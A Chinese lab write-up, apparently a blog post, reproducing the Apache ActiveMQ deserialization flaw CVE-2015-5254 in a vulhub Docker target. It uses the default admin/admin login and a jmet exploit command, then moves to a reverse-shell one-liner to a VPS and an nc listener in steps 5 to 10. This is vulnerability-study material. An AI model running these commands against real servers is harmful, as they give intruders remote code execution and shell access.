• 漏洞复现-ActiveMq反序列化漏洞(CVE-2015-5254)


     
     
     

    0x00 实验环境

    攻击机:Win 10

    靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)

    0x01 影响版本

    Apache ActiveMQ 5.13.0之前的5.x版本

    0x02 漏洞复现

    (1)实验环境:docker运行的vulhub漏洞环境首先,可直接访问到页面的显示为:

    (2)使用默认口令:admin/admin 进入后台:

    (3)版本为5.11.1,存在该编号漏洞:

     

    (4)下载使用如下工具进行漏洞利用:

    https://github.com/matthiaskaiser/jmet/releases

    这款工具我也是第一次使用,先不管原理,充分发挥脚本小子的优势复现一波。

    首先是下载好利用工具:(需要我复现工具的可以先点个关注,然后私聊我)

     

    (5)然后使用如下命令:

    java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch test" -Yp ROME 有漏洞的IP   61616
    

    虽然存在部分报错,但不影响结果,后台成功生成一条序列号,这里存在一个避坑的地方——记得必须点击此序列号后才会执行上述的“touch test”命令:

    进入容器,我们可以发现还尚未创建——test文件:

    (6)点击上面的序列号后即可在有漏洞的服务器内生成一个——test文件:

     (7)以上是创建文件的操作,此时更换为反弹shell的命令即可达到获取服务器shell的目的:

    bash -i >& /dev/tcp/自己的vps/9999 0>&1

    (8)此时需要在如下网站进行编码:

    http://www.jackson-t.ca/runtime-exec-payloads.html

     (9)编码成功后如上面创建文件的操作,即可getshell:

    (10)nc开启9999端口的监听:

    0x03 实验原理

    该漏洞源于程序没有限制可在代理中序列化的类。

    远程攻击者可借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码

    没有发现有更深入的漏洞原理分析,故希望观者自行查找学习。

  • 相关阅读:
    POJ 3080 Blue Jeans
    POJ 1961 Period
    POJ 2185 Milking Grid
    POJ 2752 Seek the Name, Seek the Fame
    斗地主算法的设计与实现--项目介绍&如何定义和构造一张牌
    MyEclipse 免安装版制作
    网络子系统48_ip协议数据帧的发送
    Oracle sql语句执行顺序
    当OOP语言RAII特性发展到functional形式的极致
    FusionCharts属性大全
  • 原文地址:https://www.cnblogs.com/cute-puli/p/14395750.html
Copyright © 2020-2023  润新知